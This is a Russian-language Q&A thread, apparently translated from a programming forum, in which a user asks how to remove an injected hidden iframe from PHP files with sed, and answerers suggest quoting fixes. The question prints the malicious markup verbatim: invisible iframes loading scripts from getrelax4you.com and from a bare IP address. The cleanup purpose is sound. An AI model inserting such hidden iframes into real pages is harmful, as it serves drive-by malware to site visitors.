Одиночные кавычки Ифраме Вирус - PullRequest
0 голосов
/ 18 июня 2010

Я ищу сценарий оболочки для удаления следующего кода из нескольких файлов:

<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>

Я нашел сценарии для удаления iframes, но они указывают где код с двойными кавычками

Как здесь:

find -name "*.php" -exec sed -i 's/<iframe src="http:\/\/124.217.252.62\/~admin\/count.php?o=2" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no><\/iframe>//' {} \;

Я пытался экранировать одинарные кавычки, как это

find -name "*.php" -exec sed -i 's/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//' {} \;

но тогда я получаю -> синтаксическая ошибка рядом с неожиданным токеном `<'</p>

Ответы [ 4 ]

1 голос
/ 18 июня 2010
cat xyz.php | sed "s/.*BoG.*$//g" > fixedxyz.php

замените BoG на столько, сколько необходимо, чтобы сделать его уникальным («<» не имеет значения в моем поиске / замене) </p>

0 голосов
/ 18 июня 2010

Это должно работать без экранирования:

sed "s|<iframe hbfww='BoGJMTtZ' src='http://getrelax4you.com/in.cgi?7 ' width='665' height='432' style='display:none'></iframe>||"
0 голосов
/ 18 июня 2010

Странно, но двойные кавычки на внешней стороне работают для меня:

find -name "*.php" -exec sed -i "s/<iframe src=\'http:\/\/getrelax4you\/in.cgi?7 \' width=\'665\' height=\'432\' style=\'display:none\'><\/iframe>//" {} \;

Но я не перестаю удивляться, почему ваша команда не работает. Я попробовал это на bash.

0 голосов
/ 18 июня 2010

Вам может потребоваться экранировать <, используя обратную косую черту: \< (или \\<, чтобы экранировать escape-символ из оболочки)

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...